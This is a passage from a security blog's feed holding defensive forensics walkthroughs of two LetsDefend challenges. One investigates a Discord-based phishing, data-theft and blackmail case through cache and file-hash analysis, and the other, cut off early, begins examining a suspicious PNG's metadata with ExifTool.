id=&#34;question-6-how-many-people-were-on-the-discordserver&#34;&gt;Question 6: How many people were on the Discord server?&#xA;&lt;/h3&gt;&lt;p&gt;Along with the server URL from the previous question, the attacker also states that the server has a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;two other employee&amp;rdquo;&#xA;in addition to the attacker and victim.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;just me and you and two other employee&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;My math might be terrible otherwise, but I know that 2+2=4.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1443px&#34; data-flex-grow=&#34;601&#34; height=&#34;133&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/488d09ca827e18912fc76b1b34414564_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-md5-hash-of-the-attachment-file-that-the-victim-sent-to-the-attacker&#34;&gt;Question 6: What is the MD5 hash of the attachment file that the victim sent to the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s go back into &lt;em&gt;ChromeCacheView.&lt;/em&gt; This time, we are going to view the &lt;em&gt;JSON&lt;/em&gt; file for the server channel instead of the private chat. Let&amp;rsquo;s open the cache file with the size of 1,392.&lt;/p&gt;&#xA;&lt;p&gt;After browsing the contents of the chat, we can see the attackers are coercing the victim to prove that he is the right candidate for the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;job&amp;rdquo;&#xA;by asking for the details of some (presumably) confidential research.&lt;/p&gt;&#xA;&lt;p&gt;A short time later, we can see that the victim uploads the requested private data to the &lt;em&gt;Discord&lt;/em&gt; server in an archive file called &lt;em&gt;Private.7z&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;423px&#34; data-flex-grow=&#34;176&#34; height=&#34;453&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/731068ae3ece81eb1d1feda164d122bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s pretty likely that the victim uploaded the data from his own device, so why don&amp;rsquo;t we check the image and simply search for the file name?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;810px&#34; data-flex-grow=&#34;337&#34; height=&#34;237&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/2a2e217b23bfc11306784742ab244627_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go, we found it in the user&amp;rsquo;s &lt;em&gt;Documents folder&lt;/em&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s grab the file hash of the archive. We can utilize the &lt;em&gt;HashCalc&lt;/em&gt; utility from the &lt;em&gt;Tools&lt;/em&gt; folder or leverage the &lt;em&gt;PowerShell Get-FileHash&lt;/em&gt; command_._&lt;/p&gt;&#xA;&lt;p&gt;For this walkthrough, I used the PowerShell option_._ Since the &lt;em&gt;Get-FileHash&lt;/em&gt; command defaults to using &lt;em&gt;SHA256&lt;/em&gt;, we&amp;rsquo;ll need to specify that we want the &lt;em&gt;MD5&lt;/em&gt; hash instead.&lt;/p&gt;&#xA;&lt;p&gt;Get-FileHash -Algorithm MD5 &lt;filename&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/09473dd44a43115a7308418ee7056e57_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, now that we have the &lt;em&gt;MD5&lt;/em&gt; hash of the exfiltrated archive, let&amp;rsquo;s submit the answer and continue our analysis!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1443px&#34; data-flex-grow=&#34;601&#34; height=&#34;133&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/6467cdb539be52c8dcefe3c4232c4584_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-victimscountry&#34;&gt;Question 7: What is the victim&amp;rsquo;s country?&#xA;&lt;/h3&gt;&lt;p&gt;Okay this one is a bit tricky to find. None of the &lt;em&gt;Discord&lt;/em&gt; chat data that we have discovered appears to have any details regarding geolocation for the victim.&lt;/p&gt;&#xA;&lt;p&gt;To save you some time, I tried extracting the attachment file in the 7z archive, analyzing the email headers for the communication between the attacker and victim, and going through the &lt;em&gt;Microsoft Edge&lt;/em&gt; cache for URLs related to a specific country. All of these came up without any evidence.&lt;/p&gt;&#xA;&lt;p&gt;Then, I remembered this is a &lt;em&gt;Discord&lt;/em&gt; challenge and went back to &lt;em&gt;ChromeCacheView&lt;/em&gt; and searched the cache for &amp;quot; # &amp;ldquo;location&amp;rdquo; instead of &amp;quot; # &amp;ldquo;message&amp;quot;like we did for &lt;strong&gt;Questions 4,5, &amp;amp; 6&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;820px&#34; data-flex-grow=&#34;341&#34; height=&#34;234&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/23d25c89f18620302d61cf1c138390d7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, this gives us a misleading result in the metadata. Let&amp;rsquo;s lean on the question hint to tell us where we went wrong:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;840px&#34; data-flex-grow=&#34;350&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/71dd73e51042f77f7e62f815a9d70de3_MD5.png&#34; width=&#34;392&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Whoops! So, let&amp;rsquo;s pivot and try to search for &amp;quot; # &amp;ldquo;country&amp;quot;in our quick filter instead of &amp;quot; # &amp;ldquo;location&amp;rdquo;— This will give us more results with a second country code (Not Egypt) in the URLs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;727px&#34; data-flex-grow=&#34;303&#34; height=&#34;264&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/e0821f7d69d4b1ff516e9ff1602b159c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We might have stumbled there, but we figured it out. Great job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;147&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/9aefeb3c5a5d07713f82744da17bc9e7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-url-of-the-attachment-that-the-attacker-sent-to-thevictim&#34;&gt;Question 8: What is the URL of the attachment that the attacker sent to the victim?&#xA;&lt;/h3&gt;&lt;p&gt;After the victim ran the malicious file, there seems to be some follow-up chat in &lt;em&gt;Discord&lt;/em&gt; where the victim is reaching out to the attacker to no avail.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s go back to his email where we can find another thread with the &lt;em&gt;Subject&lt;/em&gt; field &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;idk&amp;rdquo;&#xA;— where the attackers are blackmailing the victim. The attacker is threatening to tell the victim&amp;rsquo;s employer about the data leak unless they download and execute a file from a link in the email&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;463px&#34; data-flex-grow=&#34;193&#34; height=&#34;414&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/5b7a9a6b321ed16dc0e477e7dedf9fc3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Despite the victim initially protesting, it appears that they were afraid of losing their job&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;While out of scope for this challenge, we can check the victim&amp;rsquo;s browser history to see if we have any URL history.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;914px&#34; data-flex-grow=&#34;380&#34; height=&#34;210&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/afd3b8265059e7e40e217e1e579e121a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, the evidence suggests that the victim did access the payload sent by the attacker. After that, the SIEM alerted us to the malware being blocked by the victim&amp;rsquo;s endpoint antivirus software. Whew!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1342px&#34; data-flex-grow=&#34;559&#34; height=&#34;143&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/df703a6839b445e18ab10879c021b211_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Great work! We successfully completed the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/discord-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Discord Forensics Challenge&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Our investigation led us to the discovery that the victim was lured to &lt;em&gt;Discord&lt;/em&gt; through a &lt;em&gt;phishing&lt;/em&gt; email with the promise of a job offer. The victim was then convinced to exfiltrate sensitive research data to the attackers on the &lt;em&gt;Discord&lt;/em&gt; server. This was followed by a blackmail attempt, coercing the victim to download and execute a malware payload in exchange for not disclosing the victim&amp;rsquo;s mistake to their employer. Having identified how the attack unfolded, we can now conclude our investigation.&lt;/p&gt;&#xA;&lt;p&gt;I appreciate you joining me in this investigation and reading along. I hope that you had as much fun as I did and learned something useful too!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for providing us with the opportunity to sharpen our skills in &lt;em&gt;Discord&lt;/em&gt; cache analysis! It was cool to see how we could utilize &lt;em&gt;ChromeCacheView&lt;/em&gt; beyond its typical applications and deepen our understanding of the artifacts left behind by &lt;em&gt;Discord&lt;/em&gt; that can be analyzed during incident response.&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious! Thanks!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;NirSoft ChromeCacheView:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.nirsoft.net/utils/chrome_cache_view.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.nirsoft.net/utils/chrome_cache_view.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (Phishing):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1566/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Phishing, Technique T1566 — Enterprise | MITRE ATT&amp;amp;CK®&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft OST File Location:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://support.microsoft.com/en-us/office/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Introduction to Outlook Data Files (.pst and .ost) — Microsoft Support&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Finding Discord app chats in Windows:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn Get-FileHash:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — ImageStegano Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/</link>
            <pubDate>Sun, 12 May 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/237ae93ae605dbac7193c3336d934293_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — ImageStegano Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--imagestegano-challenge-walkthrough&#34;&gt;LetsDefend — ImageStegano Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-steganography-using-exiftool-and-psimage_decoderpy&#34;&gt;Investigating steganography using ExifTool and psimage_decoder.py&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/237ae93ae605dbac7193c3336d934293_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/imagestegano&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/imagestegano&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! Have you ever wondered about how malware can be hidden in an image? Well we&amp;rsquo;re about to explore the world of &lt;em&gt;steganography&lt;/em&gt; by tackling the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/imagestegano&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ImageStegano challenge&lt;/strong&gt;&lt;/a&gt; on &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;This is a challenge requiring us defenders to investigate an image file and determine if it contains malicious code hidden by using &lt;strong&gt;steganography.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now what is &lt;em&gt;steganography&lt;/em&gt; anyway? According to the &lt;a class=&#34;link&#34; href=&#34;https://isc.sans.edu/tools/glossary/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;_SANS In_ternet Storm Center&amp;rsquo;s Infosec Glossary&lt;/a&gt;, &lt;em&gt;steganography&lt;/em&gt; is the:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Methods of hiding the existence of a message or other data. This is different than cryptography, which hides the meaning of a message but does not hide the message itself. An example of a steganographic method is &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;invisible&amp;quot;&#xA;ink.&lt;/p&gt;&#xA;&lt;p&gt;So, whether you&amp;rsquo;re here to learn more about &lt;em&gt;steganography,&lt;/em&gt; explore some new tools, or are just looking for a reference walkthrough for the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/imagestegano&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend ImageStegano Challenge&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;ve stumbled on the right spot. I encourage you to follow along during your own investigation and use this post as a reference if you get stuck.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading along, let&amp;rsquo;s have some fun!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/imagestegano&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/imagestegano&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We are certain that there is something malicious in this image, but we do not know what it is. So we need you to investigate it and see if you can find any evidence.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;questions-1-2&#34;&gt;Questions 1 &amp;amp; 2:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;who-is-the---&#34;&gt;Who is the &amp;quot; # &amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;Device Manufacturer&amp;quot;&#xA;according to the metadata?&lt;/p&gt;&#xA;&lt;h4 id=&#34;what-is-the-cmmtype&#34;&gt;What is the CMM Type?&#xA;&lt;/h4&gt;&lt;p&gt;Let&amp;rsquo;s start off the investigation by connecting to the virtual machine environment hosted on &lt;em&gt;LetsDefend,&lt;/em&gt; navigate to the &lt;em&gt;ChallengeFile&lt;/em&gt; folder on the &lt;em&gt;Desktop,&lt;/em&gt; and extracting the challenge file from the archive.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;528px&#34; data-flex-grow=&#34;220&#34; height=&#34;356&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/b4a1f288f88070bbc7c00b875edf0032_MD5.png&#34; width=&#34;784&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside, we find a seemingly innocuous &lt;em&gt;.png&lt;/em&gt; file, but do you notice something strange? The file size is nearly 65MB in size! This is definitely suspicious and requires some further investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;547px&#34; data-flex-grow=&#34;228&#34; height=&#34;343&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/f9fa7d19cadfcdc183c173cccd3ac2ca_MD5.png&#34; width=&#34;783&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question 1 and 2&lt;/strong&gt; are asking about the image &lt;em&gt;metadata,&lt;/em&gt; which is data &lt;em&gt;about&lt;/em&gt; the image, and not the image itself like color profiles and the capturing device details. To analyze this file&amp;rsquo;s &lt;em&gt;metadata&lt;/em&gt;, we will want to utilize something like &lt;em&gt;E&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://exiftool.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;xifTool&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;_A_ccording to the project&amp;rsquo;s website, &lt;em&gt;ExifTool&lt;/em&gt; is a:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files. ExifTool supports many different metadata formats including EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP and ID3, Lyrics3, as well as the maker notes of many digital cameras by Canon, Casio, DJI, FLIR, FujiFilm, GE, GoPro, HP, JVC/Victor, Kodak, Leaf, Minolta/Konica-Minolta, Motorola, Nikon, Nintendo, Olympus/Epson, Panasonic/Leica, Pentax/Asahi, Phase One, Reconyx, Ricoh, Samsung, Sanyo, Sigma/Foveon and Sony.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In other words, this tool is used to extract &lt;em&gt;metadata&lt;/em&gt; from an image file for us to analyze!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take a closer look at our analysis environment. Unfortunately, our &lt;em&gt;Windows&lt;/em&gt; environment does not have this tool installed for us to use. &lt;em&gt;ExifTool&lt;/em&gt; is typically installed within &lt;em&gt;Linux&lt;/em&gt; distros, however.&lt;/p&gt;&#xA;&lt;p&gt;Maybe you noticed the orange &lt;em&gt;Ubuntu Linux&lt;/em&gt; icon on the taskbar? This means that the analysis VM has &lt;em&gt;Ubuntu&lt;/em&gt; installed for use with the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/wsl/about&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;_Windows Subsystem for Linux (_WSL)&lt;/a&gt; which allows us to use &lt;em&gt;Linux&lt;/em&gt; tools in &lt;em&gt;Windows —&lt;/em&gt; very cool!&lt;/p&gt;&#xA;&lt;p&gt;So, we have a couple of options to access E_xifTool_ to analyze the image&amp;rsquo;s metadata:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;) Load into &lt;em&gt;Ubuntu&lt;/em&gt; and operate the CLI directly:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/trusty/en/man1/exiftool.1p.html&#34;  title=&#34;https://manpages.ubuntu.com/manpages/trusty/en/man1/exiftool.1p.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Ubuntu Manpage: exiftool — Read and write meta information in files&lt;/strong&gt;&#xA;_A command-line interface to Image::ExifTool, used for reading and writing meta information in a variety of file types&amp;hellip;_manpages.ubuntu.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/trusty/en/man1/exiftool.1p.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;601&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/ae3261cfaebc1fedde56e60366b74116_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;2.) Or we can simply use the &lt;strong&gt;wsl&lt;/strong&gt; command in &lt;em&gt;PowerShell&lt;/em&gt; to access the &lt;em&gt;Ubuntu&lt;/em&gt; tool within the &lt;em&gt;PowerShell&lt;/em&gt; console directly! This will be the option we&amp;rsquo;ll use for this walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;574px&#34; data-flex-grow=&#34;239&#34; height=&#34;334&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/46ae738d5cb3e190e8dcb5e2a5f787cf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll navigate to the directory containing the suspicious &lt;em&gt;.png&lt;/em&gt; file, and use the basic syntax to get an overview of the metadata contained within the image:&lt;/p&gt;&#xA;&lt;p&gt;wsl exiftool Sd6wF1A1v.png&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;207px&#34; data-flex-grow=&#34;86&#34; height=&#34;721&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/5d4b3b9f50f60058915ab4c525386b73_MD5.png&#34; width=&#34;624&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have used &lt;em&gt;ExifTool&lt;/em&gt; to view the &lt;em&gt;metadata&lt;/em&gt; we can find the information needed to answer &lt;strong&gt;Questions 1 &amp;amp; 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;741px&#34; data-flex-grow=&#34;308&#34; height=&#34;259&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/6747a615891d92face563b2af9d185ef_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-tool-that-created-the-payload-inside-theimage&#34;&gt;Question 3: What is the tool that created the payload inside the image?&#xA;&lt;/h3&gt;&lt;p&gt;This question will require some research since we don&amp;rsquo;t have any specific way of determining what application created this image from the &lt;em&gt;metadata&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Why don&amp;rsquo;t we look at the question hint as a jumping-off point:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1121px&#34; data-flex-grow=&#34;467&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/f4bcd4d161d925718512df6f2859da69_MD5.png&#34; width=&#34;486&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Question 3 Hint&lt;/p&gt;&#xA;&lt;p&gt;Okay, let&amp;rsquo;s do some research and head over to _Google. W_e&amp;rsquo;ll search something basic like &amp;quot; # 